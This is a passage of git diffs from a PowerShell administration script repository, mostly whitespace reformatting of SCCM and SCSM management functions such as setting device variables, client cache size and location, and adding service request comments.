$NewMachineSettingsClassInstance.Put() - } - } - CATCH - { - Write-Warning -Message "$ResourceID - Issue while processing the Device" - $Error[0] - } - FINALLY - { } - } #Process + <# + .SYNOPSIS + function to create a new SCCM Device Variable + + .DESCRIPTION + function to create a new SCCM Device Variable + + This function is relying on WMI to create a new SCCM Device Variable. + You don't need the SCCM Module or SCCM Console installed to run it. + Also this cmdlet support alternative credential. + + .PARAMETER ComputerName + Specifies the SCCM Server + + .PARAMETER SiteCode + Specifies the SCCM Site Code + + .PARAMETER Credential + Specifies the alternative credential + If not specified it will use the current user. + + .PARAMETER ResourceID + Specifies the Device ResourceID + + .PARAMETER Name + Specifies the Variable Name + Alias: VariableName + + .PARAMETER Value + Specifies the Variable Value + Alias: VariableValue + + .PARAMETER IsMasked + Specifies if the Variable value is masked. + Default is $False + + .EXAMPLE + New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test01 -Value 'Some Information' + + .EXAMPLE + New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test02 -Value 'Secret information' -IsMasked $true + + .EXAMPLE + New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test03 -Value 'Some more info' -Credential (get-Credential) + + .EXAMPLE + $MyParams = @{ + ComputerName = 'SCCM01' + SiteCode = 'F01' + ResourceID = '000000222' + Name = 'Test03' + Value = 'Some more info' + Credential = (get-Credential) + } + + New-SCCMDeviceVariable @MyParams + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadm + github.com/lazywinadmin + #> + [cmdletbinding()] + PARAM ( + [parameter(Mandatory = $true)] + [Alias('SiteServer')] + [System.String]$ComputerName, + + [parameter(Mandatory = $true)] + [System.String]$SiteCode, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [parameter(Mandatory = $true)] + [int]$ResourceID, + + [parameter(Mandatory = $true)] + [Alias("VariableName")] + [System.String]$Name, + + [parameter(Mandatory = $true)] + [Alias("VariableValue")] + [System.String]$Value, + + [System.Boolean]$IsMasked = $false + ) + PROCESS + { + TRY + { + Write-Verbose -Message "$ResourceID - Create splatting" + $SCCM_Splatting = @{ + ComputerName = $ComputerName + NameSpace = "root\sms\site_$SiteCode" + } + + IF ($PSBoundParameters['Credential']) + { + $SCCM_Splatting.Credential = $Credential + } + + Write-Verbose -Message "$ResourceID - Verify if machine settings exist" + # Check if the device already has a MachineSetting + $MachineSettingsClass = Get-WmiObject @SCCM_Splatting -Query "SELECT ResourceID FROM SMS_MachineSettings WHERE ResourceID = '$ResourceID'" + + # If a Machine Settings is found + if ($MachineSettingsClass) + { + Write-Verbose -Message "$ResourceID - Machine Settings Exists" + + # Create a new MachineVariable class instance + Write-Verbose -Message "$ResourceID - Create Variable" + $MachineVariablesClass = Get-WmiObject -list @SCCM_Splatting -Class "SMS_MachineVariable" + $NewMachineVariableInstance = $MachineVariablesClass.CreateInstance() + + # Add the Variable + $NewMachineVariableInstance.psbase.Properties['Name'].Value = $Name + $NewMachineVariableInstance.psbase.Properties['Value'].Value = $Value + $NewMachineVariableInstance.psbase.Properties['IsMasked'].Value = $IsMasked + + # Retrieve the Machine Settings + $MachineSettingsClass.get() + + + # Insert the variable we just created into the machine settings + Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" + $MachineSettingsClass.MachineVariables += $NewMachineVariableInstance + + # Save our change back to SCCM + Write-Verbose -Message "$ResourceID - Save Change" + $MachineSettingsClass.Put() + } + else + { + Write-Verbose -Message "$ResourceID - Machine Settings does NOT Exists" + + # Create a new machine setting + Write-Verbose -Message "$ResourceID - Machine Settings - Creation" + $MachineSettingsClass = Get-WmiObject @SCCM_Splatting -List -Class 'SMS_MachineSettings' + $NewMachineSettingsClassInstance = $MachineSettingsClass.CreateInstance() + + # Specify the Resource id and SourceSite(SiteCode) + $NewMachineSettingsClassInstance.psbase.properties["ResourceID"].value = $ResourceID + $NewMachineSettingsClassInstance.psbase.properties["SourceSite"].value = $SiteCode + + # Create a new MachineVariable class instance + Write-Verbose -Message "$ResourceID - Machine Variable - Creation" + $MachineVariablesClass = Get-WmiObject -list @SCCM_Splatting -Class "SMS_MachineVariable" + $NewMachineVariablesInstance = $MachineVariablesClass.CreateInstance() + + # Add the Variable + $NewMachineVariablesInstance.psbase.Properties['Name'].Value = $Name + $NewMachineVariablesInstance.psbase.Properties['Value'].Value = $Value + $NewMachineVariablesInstance.psbase.Properties['IsMasked'].Value = $IsMasked + + # Insert the variable we just created into the machine settings + Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" + $NewMachineSettingsClassInstance.MachineVariables += $NewMachineVariablesInstance + + # Save our change back to SCCM + Write-Verbose -Message "$ResourceID - Save Change" + $NewMachineSettingsClassInstance.Put() + } + } + CATCH + { + Write-Warning -Message "$ResourceID - Issue while processing the Device" + $Error[0] + } + FINALLY + { } + } #Process } diff --git a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 index bbdc1316..75cf3a58 100644 --- a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 +++ b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 @@ -1,56 +1,56 @@ Function New-SCCMTSAppVariable { - <# - .SYNOPSIS - Function to create a SCCM Task Sequence Application Variable during the OSD - - .PARAMETER BaseVariableName - Specifies the "Base Variable Name" present in the task "Install Application" of the Task Sequence. - (In the 'Install application according to dynamic variable list' section) - - .PARAMETER ApplicationList - Specifies the list of application to install. - Those must match the SCCM Application name to install - - .EXAMPLE - New-SCCMTSVariable -BaseVariableName "FX" -ApplicationList "Photoshop","AutoCad" - - .EXAMPLE - New-SCCMTSVariable -BaseVariableName "FX" -ApplicationList $Variable - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - #> - - PARAM ([String]$BaseVariableName, - - [String[]]$ApplicationList - ) - - BEGIN - { - # Create an TaskSequence Environment Object - $TaskSequenceEnvironment = New-Object -COMObject Microsoft.SMS.TSEnvironment - } - PROCESS - { - - # Create a Counter - $Counter = 1 - - # Foreach Application we create an incremented variable - $ApplicationList | ForEach-Object { - - # Define the Variable Name - $Variable = "$BaseVariableName{0:00}" -f $Counter - - # Create the Task Sequence Variable - $TaskSequenceEnvironment.value("$Variable") = "$_" - - # Increment the counter - [void]$Counter++ - } - } + <# + .SYNOPSIS + Function to create a SCCM Task Sequence Application Variable during the OSD + + .PARAMETER BaseVariableName + Specifies the "Base Variable Name" present in the task "Install Application" of the Task Sequence. + (In the 'Install application according to dynamic variable list' section) + + .PARAMETER ApplicationList + Specifies the list of application to install. + Those must match the SCCM Application name to install + + .EXAMPLE + New-SCCMTSVariable -BaseVariableName "FX" -ApplicationList "Photoshop","AutoCad" + + .EXAMPLE + New-SCCMTSVariable -BaseVariableName "FX" -ApplicationList $Variable + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + #> + + PARAM ([String]$BaseVariableName, + + [String[]]$ApplicationList + ) + + BEGIN + { + # Create an TaskSequence Environment Object + $TaskSequenceEnvironment = New-Object -COMObject Microsoft.SMS.TSEnvironment + } + PROCESS + { + + # Create a Counter + $Counter = 1 + + # Foreach Application we create an incremented variable + $ApplicationList | ForEach-Object { + + # Define the Variable Name + $Variable = "$BaseVariableName{0:00}" -f $Counter + + # Create the Task Sequence Variable + $TaskSequenceEnvironment.value("$Variable") = "$_" + + # Increment the counter + [void]$Counter++ + } + } } \ No newline at end of file diff --git a/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 index ff3bcb7a..c10ff6ec 100644 --- a/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 +++ b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 @@ -1,92 +1,92 @@ function Remove-SCCMUserDeviceAffinity { <# - .SYNOPSIS - Function to remove the primary user(s) or group(s) from a device in SCCM - - .DESCRIPTION - Function to remove the primary user(s) or group(s) from a device in SCCM - - .PARAMETER SiteCode - Specifies the SCCM Site Code - - .PARAMETER SiteServer - Specifies the SCCM Management Server - - .PARAMETER DeviceName - Specifies the Resource Name on which the Primary Users need to be removed - - .PARAMETER DeviceID - Specifies the Resource ID on which the Primary Users need to be removed - - .PARAMETER Credential - Specifies alternative credentials to use - - .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadm + .SYNOPSIS + Function to remove the primary user(s) or group(s) from a device in SCCM + + .DESCRIPTION + Function to remove the primary user(s) or group(s) from a device in SCCM + + .PARAMETER SiteCode + Specifies the SCCM Site Code + + .PARAMETER SiteServer + Specifies the SCCM Management Server + + .PARAMETER DeviceName + Specifies the Resource Name on which the Primary Users need to be removed + + .PARAMETER DeviceID + Specifies the Resource ID on which the Primary Users need to be removed + + .PARAMETER Credential + Specifies alternative credentials to use + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadm #> - - [CmdletBinding(DefaultParameterSetName = 'ResourceName')] - param - ( - [Parameter(ParameterSetName = 'ResourceName')] - [Parameter(ParameterSetName = 'ResourceID')] - $SiteCode, - - [Parameter(ParameterSetName = 'ResourceName', - Mandatory = $true)] - [Parameter(ParameterSetName = 'ResourceID')] - $SiteServer, - - [Parameter(ParameterSetName = 'ResourceName')] - [Alias('Name', 'ResourceName')] - $DeviceName, - - [Parameter(ParameterSetName = 'ResourceID')] - [Alias('ResourceID')] - $DeviceID, - - [Parameter(ParameterSetName = 'ResourceName')] - [Parameter(ParameterSetName = 'ResourceID')] - [Alias('RunAs')] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - $CIMsessionSplatting = @{ - ComputerName = $SiteServer - } - - - # Credential Specified - IF ($PSBoundParameters['Credential']) - { - $CIMsessionSplatting.Credential = $Credential - } - - # Create a CIM session - $CIMSession = New-CimSession @CIMsessionSplatting - - # Splatting for CIM cmlets - $CIMSplatting = @{ - CimSession = $CIMSession - NameSpace = "root\sms\site_$SiteCode" - ClassName = "SMS_UserMachineRelationship" - } - - # Device Name Specified - IF ($PSBoundParameters['DeviceName']) - { - $CIMSplatting.Filter = "ResourceName='$DeviceName' AND isActive=1 AND TYPES NOT NULL" - } - - # Device ID Specified - IF ($PSBoundParameters['DeviceID']) - { - $CIMSplatting.Filter = "ResourceID='$DeviceID' AND isActive=1 AND TYPES NOT NULL" - } - - Get-CimInstance @CIMSplatting | Remove-CimInstance + + [CmdletBinding(DefaultParameterSetName = 'ResourceName')] + param + ( + [Parameter(ParameterSetName = 'ResourceName')] + [Parameter(ParameterSetName = 'ResourceID')] + $SiteCode, + + [Parameter(ParameterSetName = 'ResourceName', + Mandatory = $true)] + [Parameter(ParameterSetName = 'ResourceID')] + $SiteServer, + + [Parameter(ParameterSetName = 'ResourceName')] + [Alias('Name', 'ResourceName')] + $DeviceName, + + [Parameter(ParameterSetName = 'ResourceID')] + [Alias('ResourceID')] + $DeviceID, + + [Parameter(ParameterSetName = 'ResourceName')] + [Parameter(ParameterSetName = 'ResourceID')] + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $CIMsessionSplatting = @{ + ComputerName = $SiteServer + } + + + # Credential Specified + IF ($PSBoundParameters['Credential']) + { + $CIMsessionSplatting.Credential = $Credential + } + + # Create a CIM session + $CIMSession = New-CimSession @CIMsessionSplatting + + # Splatting for CIM cmlets + $CIMSplatting = @{ + CimSession = $CIMSession + NameSpace = "root\sms\site_$SiteCode" + ClassName = "SMS_UserMachineRelationship" + } + + # Device Name Specified + IF ($PSBoundParameters['DeviceName']) + { + $CIMSplatting.Filter = "ResourceName='$DeviceName' AND isActive=1 AND TYPES NOT NULL" + } + + # Device ID Specified + IF ($PSBoundParameters['DeviceID']) + { + $CIMSplatting.Filter = "ResourceID='$DeviceID' AND isActive=1 AND TYPES NOT NULL" + } + + Get-CimInstance @CIMSplatting | Remove-CimInstance } \ No newline at end of file diff --git a/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 b/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 index 001a5e63..280cb7b4 100644 --- a/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 +++ b/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 @@ -1,77 +1,77 @@ function Set-SCCMClientCacheLocation { - <# - .SYNOPSYS - Function to set the cache location on a SCCM Client - .DESCRIPTION - Function to set the cache location on a SCCM Client - .PARAMETER ComputerName - Specifies the name of the client on which the Cache location need to be changed - .PARAMETER Location - Specifies the location of the cache. - .PARAMETER ServiceRestart - Specifies that you want the SCCM Client service to restart - .PARAMETER Credential - Specifies the credential to use against the remote machine - Only work with the WMI query for now, not the service restart - .EXAMPLE - Set-SCCMClientCacheLocation -ComputerName Client01 -Location "C:\temp\ccmcache" - - This will set the client cache location "C:\temp\ccmcache" on the computer Client01 - #> - PARAM( - [string[]]$ComputerName=".", - + <# + .SYNOPSYS + Function to set the cache location on a SCCM Client + .DESCRIPTION + Function to set the cache location on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client on which the Cache location need to be changed + .PARAMETER Location + Specifies the location of the cache. + .PARAMETER ServiceRestart + Specifies that you want the SCCM Client service to restart + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Set-SCCMClientCacheLocation -ComputerName Client01 -Location "C:\temp\ccmcache" + + This will set the client cache location "C:\temp\ccmcache" on the computer Client01 + #> + PARAM( + [string[]]$ComputerName=".", + [parameter(Mandatory)] - [int]$Location, - - [Switch]$ServiceRestart, - - [Alias('RunAs')] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) + [int]$Location, + + [Switch]$ServiceRestart, + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + FOREACH ($Computer in $ComputerName) + { + Write-Verbose -message "[PROCESS] ComputerName: $Computer" + + # Define Parameters + $SplattingWMI = @{ + NameSpace = "ROOT\CCM\SoftMgmtAgent" + Class = "CacheConfig" + } + $SplattingService = @{ + Name = 'ccmexec' + } + + IF ($PSBoundParameters['ComputerName']) + { + $SplattingWMI.ComputerName = $Computer + $SplattingService.ComputerName = $Computer + } + IF ($PSBoundParameters['Credential']) + { + $SplattingWMI.Credential = $Credential + } + + TRY + { + # Set the Cache Size + $Cache = Get-WmiObject @SplattingWMI + $Cache.location = $Location + $Cache.Put() - FOREACH ($Computer in $ComputerName) - { - Write-Verbose -message "[PROCESS] ComputerName: $Computer" - - # Define Parameters - $SplattingWMI = @{ - NameSpace = "ROOT\CCM\SoftMgmtAgent" - Class = "CacheConfig" - } - $SplattingService = @{ - Name = 'ccmexec' - } - - IF ($PSBoundParameters['ComputerName']) - { - $SplattingWMI.ComputerName = $Computer - $SplattingService.ComputerName = $Computer - } - IF ($PSBoundParameters['Credential']) - { - $SplattingWMI.Credential = $Credential - } - - TRY - { - # Set the Cache Size - $Cache = Get-WmiObject @SplattingWMI - $Cache.location = $Location - $Cache.Put() - - # Restart SCCM Client - IF($PSBoundParameters['ServiceRestart']) - { - Get-Service @SplattingService | Restart-Service - } - } - CATCH - { - Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" - $Error[0].execption.message - } - } + # Restart SCCM Client + IF($PSBoundParameters['ServiceRestart']) + { + Get-Service @SplattingService | Restart-Service + } + } + CATCH + { + Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" + $Error[0].execption.message + } + } } diff --git a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 index be44b09e..2dabd278 100644 --- a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 +++ b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 @@ -1,77 +1,77 @@ function Set-SCCMClientCacheSize { - <# - .SYNOPSYS - Function to set the cache size on a SCCM Client - .DESCRIPTION - Function to set the cache size on a SCCM Client - .PARAMETER ComputerName - Specifies the name of the client on which the Cache size need to be changed - .PARAMETER SizeMB - Specifies the size of the cache in MB. - .PARAMETER ServiceRestart - Specifies that you want the SCCM Client service to restart - .PARAMETER Credential - Specifies the credential to use against the remote machine - Only work with the WMI query for now, not the service restart - .EXAMPLE - Set-SCCMClientCacheSize -ComputerName Client01 -SizeMB 5000 - - This will set the client cache to 5000Mb on the computer Client01 - #> - PARAM( - [Parameter(Mandatory)] - [string[]]$ComputerName, - - [int]$SizeMB = 10240, - - [Switch]$ServiceRestart, - - [Alias('RunAs')] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) + <# + .SYNOPSYS + Function to set the cache size on a SCCM Client + .DESCRIPTION + Function to set the cache size on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client on which the Cache size need to be changed + .PARAMETER SizeMB + Specifies the size of the cache in MB. + .PARAMETER ServiceRestart + Specifies that you want the SCCM Client service to restart + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Set-SCCMClientCacheSize -ComputerName Client01 -SizeMB 5000 - FOREACH ($Computer in $ComputerName) - { - Write-Verbose -message "[PROCESS] ComputerName: $Computer" - - # Define Parameters - $SplattingWMI = @{ - NameSpace = "ROOT\CCM\SoftMgmtAgent" - Class = "CacheConfig" - } - $SplattingService = @{ - Name = 'ccmexec' - } - - IF ($PSBoundParameters['ComputerName']) - { - $SplattingWMI.ComputerName = $Computer - $SplattingService.ComputerName = $Computer - } - IF ($PSBoundParameters['Credential']) - { - $SplattingWMI.Credential = $Credential - } - - TRY - { - # Set the Cache Size - $Cache = Get-WmiObject @SplattingWMI - $Cache.Size = $SizeMB - $Cache.Put() - - # Restart SCCM Client - IF($PSBoundParameters['ServiceRestart']) - { - Get-Service @SplattingService | Restart-Service - } - } - CATCH - { - Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" - $Error[0].execption.message - } - } + This will set the client cache to 5000Mb on the computer Client01 + #> + PARAM( + [Parameter(Mandatory)] + [string[]]$ComputerName, + + [int]$SizeMB = 10240, + + [Switch]$ServiceRestart, + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + FOREACH ($Computer in $ComputerName) + { + Write-Verbose -message "[PROCESS] ComputerName: $Computer" + + # Define Parameters + $SplattingWMI = @{ + NameSpace = "ROOT\CCM\SoftMgmtAgent" + Class = "CacheConfig" + } + $SplattingService = @{ + Name = 'ccmexec' + } + + IF ($PSBoundParameters['ComputerName']) + { + $SplattingWMI.ComputerName = $Computer + $SplattingService.ComputerName = $Computer + } + IF ($PSBoundParameters['Credential']) + { + $SplattingWMI.Credential = $Credential + } + + TRY + { + # Set the Cache Size + $Cache = Get-WmiObject @SplattingWMI + $Cache.Size = $SizeMB + $Cache.Put() + + # Restart SCCM Client + IF($PSBoundParameters['ServiceRestart']) + { + Get-Service @SplattingService | Restart-Service + } + } + CATCH + { + Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" + $Error[0].execption.message + } + } } From eaa517dc024093f404bccf8942b3ca82d67e8c26 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 22 Mar 2019 17:29:38 -0700 Subject: [PATCH 144/561] replace all tabs by spaces --- .../Add-SCSMReviewActivityReviewer.ps1 | 36 +-- .../Add-SCSMServiceRequestComment.ps1 | 120 ++++---- .../Get-SCSMIncidentRequestComment.ps1 | 142 ++++----- .../Get-SCSMObjectPrefix.ps1 | 20 +- .../Get-SCSMReviewActivityReviewer.ps1 | 144 ++++----- .../Get-SCSMServiceRequestComment.ps1 | 22 +- .../Get-SCSMUserManager.ps1 | 78 ++--- .../Get-SCSMWorkItemAffectedCI.ps1 | 10 +- .../Get-SCSMWorkItemAffectedUser.ps1 | 24 +- .../Get-SCSMWorkItemAssignedUser.ps1 | 24 +- .../Get-SCSMWorkItemChildItem.ps1 | 4 +- .../Get-SCSMWorkItemCreatedByUser.ps1 | 28 +- .../Get-SCSMWorkItemParent.ps1 | 28 +- .../Get-SCSMWorkItemRelatedCI.ps1 | 10 +- .../Get-SCSMWorkItemRequestOffering.ps1 | 10 +- .../Get-SCSMWorkItemUserInput.ps1 | 10 +- .../Get-SCSMIRComment.ps1 | 14 +- .../Add-SCSMSRComment.ps1 | 34 +-- TOOL-Clean-MacAddress/Clean-MacAddress.ps1 | 44 +-- .../ConvertFrom-Base64.ps1 | 8 +- TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 | 10 +- .../ConvertTo-StringList.ps1 | 30 +- .../Disable-RemoteDesktop.ps1 | 42 +-- .../Enable-RemoteDesktop.ps1 | 42 +-- .../Expand-ScriptAlias.ps1 | 26 +- TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 | 20 +- TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 | 8 +- TOOL-Get-ComputerOS/Get-ComputerOS.ps1 | 24 +- TOOL-Get-HelpMessage/Get-HelpMessage.ps1 | 6 +- TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 | 10 +- .../Get-ImageInformation.ps1 | 2 +- .../Get-LocalAdministrator.ps1 | 14 +- TOOL-Get-LocalGroup/Get-LocalGroup.ps1 | 28 +- TOOL-Get-LocalUser/Get-LocalUser.ps1 | 28 +- TOOL-Get-LogFast/Get-LogFast.ps1 | 12 +- TOOL-Get-NetFramework/Get-NetFramework.ps1 | 14 +- .../Get-NetFrameworkTypeAccelerator.ps1 | 4 +- TOOL-Get-NetStat/Get-NetStat.ps1 | 10 +- .../Get-NetworkLevelAuthentication.ps1 | 34 +-- .../Get-PSObjectEmptyOrNullProperty.ps1 | 10 +- TOOL-Get-PendingReboot/Get-PendingReboot.ps1 | 68 ++--- .../Get-ProcessForeignAddress.ps1 | 24 +- TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 | 16 +- .../Get-StringCharCount.ps1 | 2 +- TOOL-Get-Uptime/Get-Uptime.ps1 | 50 ++-- TOOL-Invoke-Ping/Invoke-Ping.ps1 | 280 +++++++++--------- TOOL-Lock-Computer/Lock-Computer.ps1 | 2 +- .../New-CimSmartSession.ps1 | 32 +- TOOL-New-DjoinFile/New-DjoinFile.ps1 | 26 +- TOOL-New-Password/New-Password.ps1 | 24 +- .../New-RandomPassword.ps1 | 14 +- TOOL-New-ScriptMessage/New-ScriptMessage.ps1 | 34 +-- TOOL-Out-Excel/Out-Excel.ps1 | 8 +- .../Remove-PSObjectEmptyOrNullProperty.ps1 | 8 +- .../Remove-PSObjectProperty.ps1 | 12 +- .../Remove-StringDiacritic.ps1 | 8 +- .../Remove-StringLatinCharacter.ps1 | 4 +- .../Remove-StringSpecialCharacter.ps1 | 12 +- TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 | 4 +- TOOL-Send-Email/TOOL-Send-Email.ps1 | 138 ++++----- .../Set-NetworkLevelAuthentication.ps1 | 18 +- .../Set-PowerShellWindowTitle.ps1 | 8 +- TOOL-Set-RDPDisable/Set-RDPDisable.ps1 | 12 +- TOOL-Set-RDPEnable/Set-RDPEnable.ps1 | 14 +- TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 | 16 +- TOOL-Start-KeyLogger/Start-KeyLogger.ps1 | 24 +- .../Test-RemoteDesktopIsEnabled.ps1 | 4 +- TOOL-Write-Log/TOOL-Write-Log.ps1 | 4 +- VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 | 12 +- .../Get-VMhostHbaInfo.ps1 | 36 +-- _Profiles/Microsoft.PowerShell_profile.ps1 | 56 ++-- _Profiles/functions/connect-office365.ps1 | 22 +- _Template/Function_Template.ps1 | 130 ++++---- _Test/AD-TokenGroups_Test.ps1 | 8 +- _Test/Add-LocalGroupMember.ps1 | 8 +- 75 files changed, 1165 insertions(+), 1157 deletions(-) diff --git a/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 index 70b91bb0..6de09b47 100644 --- a/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 +++ b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 @@ -3,67 +3,67 @@ <# .SYNOPSIS Function to add a reviewer to a Review Activity item - + .DESCRIPTION Function to add a reviewer to a Review Activity item - + .PARAMETER UserName Specifies the UserName to add - + .PARAMETER Veto Specifies the Veto. Default is False. - + .PARAMETER MustVote Specifies if the Vote is required. Default is False. - + .PARAMETER WorkItemID Specifies the WorkItem ID of the Review Activity - + .EXAMPLE PS C:\> Add-SCSMReviewActivityReviewer -UserName 'francois-xavier' -veto $true -WorkItemID '2aa822b0-b144-3acf-bee3-9a11714c5de0' - + .NOTES Francois-Xavier Cat @lazywinadm www.lazywinadmin.com - + 1.0 Based on Cireson's consultant function #> [CmdletBinding()] PARAM ( [System.String]$UserName, - + [Boolean]$veto = $false, - + [Boolean]$mustvote = $false, - + $WorkItemID ) - + BEGIN { Import-Module -Name SMLets -ErrorAction Stop } PROCESS { # Retrieve the Active Directory User Class $ADUserClassID = '10a7f898-e672-ccf3-8881-360bfb6a8f9a' $ADUserClassObject = Get-ScsmClass -Id $ADUserClassID - + $ScsmUser = Get-ScsmObject -class $ADUserClassObject -filter "Username -eq $UserName" - + if ($ScsmUser) { # Direct Reviewer add SCSM user by guid $RelationShipClass_HasReviewer = Get-SCSMRelationshipClass -name "System.ReviewActivityHasReviewer" $RelationShipClass_ReviewerIsUser = Get-SCSMRelationshipClass -name "System.ReviewerIsUser" $Class_ReviewerClass = Get-SCSMClass -name "System.Reviewer$" - + # Hashtable for reviewer arguments $ReviewerArgs = @{ ReviewerID = "{0}"; Mustvote = $mustvote; Veto = $veto } - + $Reviewer = new-scsmobject -class $class_ReviewerClass -propertyhashtable $ReviewerArgs -nocommit - + $WorkItem = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.Activity.ReviewActivity$) -filter "ID -eq '$WorkItemID'" - + $reviewerStep1 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_HasReviewer -Source $WorkItem -Target $Reviewer $reviewerStep2 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_ReviewerIsUser -Source $Reviewer -Target $ScsmUser $reviewerStep1.Commit() diff --git a/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 b/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 index 9f886828..1a061f40 100644 --- a/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 +++ b/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 @@ -1,63 +1,63 @@ Function Add-SCSMServiceRequestComment { - param ( - [parameter(Mandatory = $True, Position = 0)] - $SRObject, - - [parameter(Mandatory = $True, Position = 1)] - $Comment, - - [parameter(Mandatory = $True, Position = 2)] - $EnteredBy, - - [parameter(Mandatory = $False, Position = 3)] - [switch]$AnalystComment, - - [parameter(Mandatory = $False, Position = 4)] - [switch]$IsPrivate - ) - - # Make sure that the SR Object it passed to the function - If ($SRObject.Id -ne $NULL) - { - - - If ($AnalystComment) - { - $CommentClass = "System.WorkItem.TroubleTicket.AnalystCommentLog" - $CommentClassName = "AnalystCommentLog" - } - else - { - $CommentClass = "System.WorkItem.TroubleTicket.UserCommentLog" - $CommentClassName = "EndUserCommentLog" - } - - # Generate a new GUID for the comment - $NewGUID = ([guid]::NewGuid()).ToString() - - # Create the object projection with properties - $Projection = @{ - __CLASS = "System.WorkItem.ServiceRequest"; - __SEED = $SRObject; - EndUserCommentLog = @{ - __CLASS = $CommentClass; - __OBJECT = @{ - Id = $NewGUID; - DisplayName = $NewGUID; - Comment = $Comment; - EnteredBy = $EnteredBy; - EnteredDate = (Get-Date).ToUniversalTime(); - IsPrivate = $IsPrivate.ToBool(); - } - } - } - - # Create the actual comment - New-SCSMObjectProjection -Type "System.WorkItem.ServiceRequestProjection" -Projection $Projection - } - else - { - Throw "Invalid Service Request Object!" - } + param ( + [parameter(Mandatory = $True, Position = 0)] + $SRObject, + + [parameter(Mandatory = $True, Position = 1)] + $Comment, + + [parameter(Mandatory = $True, Position = 2)] + $EnteredBy, + + [parameter(Mandatory = $False, Position = 3)] + [switch]$AnalystComment, + + [parameter(Mandatory = $False, Position = 4)] + [switch]$IsPrivate + ) + + # Make sure that the SR Object it passed to the function + If ($SRObject.Id -ne $NULL) + { + + + If ($AnalystComment) + { + $CommentClass = "System.WorkItem.TroubleTicket.AnalystCommentLog" + $CommentClassName = "AnalystCommentLog" + } + else + { + $CommentClass = "System.WorkItem.TroubleTicket.UserCommentLog" + $CommentClassName = "EndUserCommentLog" + } + + # Generate a new GUID for the comment + $NewGUID = ([guid]::NewGuid()).ToString() + + # Create the object projection with properties + $Projection = @{ + __CLASS = "System.WorkItem.ServiceRequest"; + __SEED = $SRObject; + EndUserCommentLog = @{ + __CLASS = $CommentClass; + __OBJECT = @{ + Id = $NewGUID; + DisplayName = $NewGUID; + Comment = $Comment; + EnteredBy = $EnteredBy; + EnteredDate = 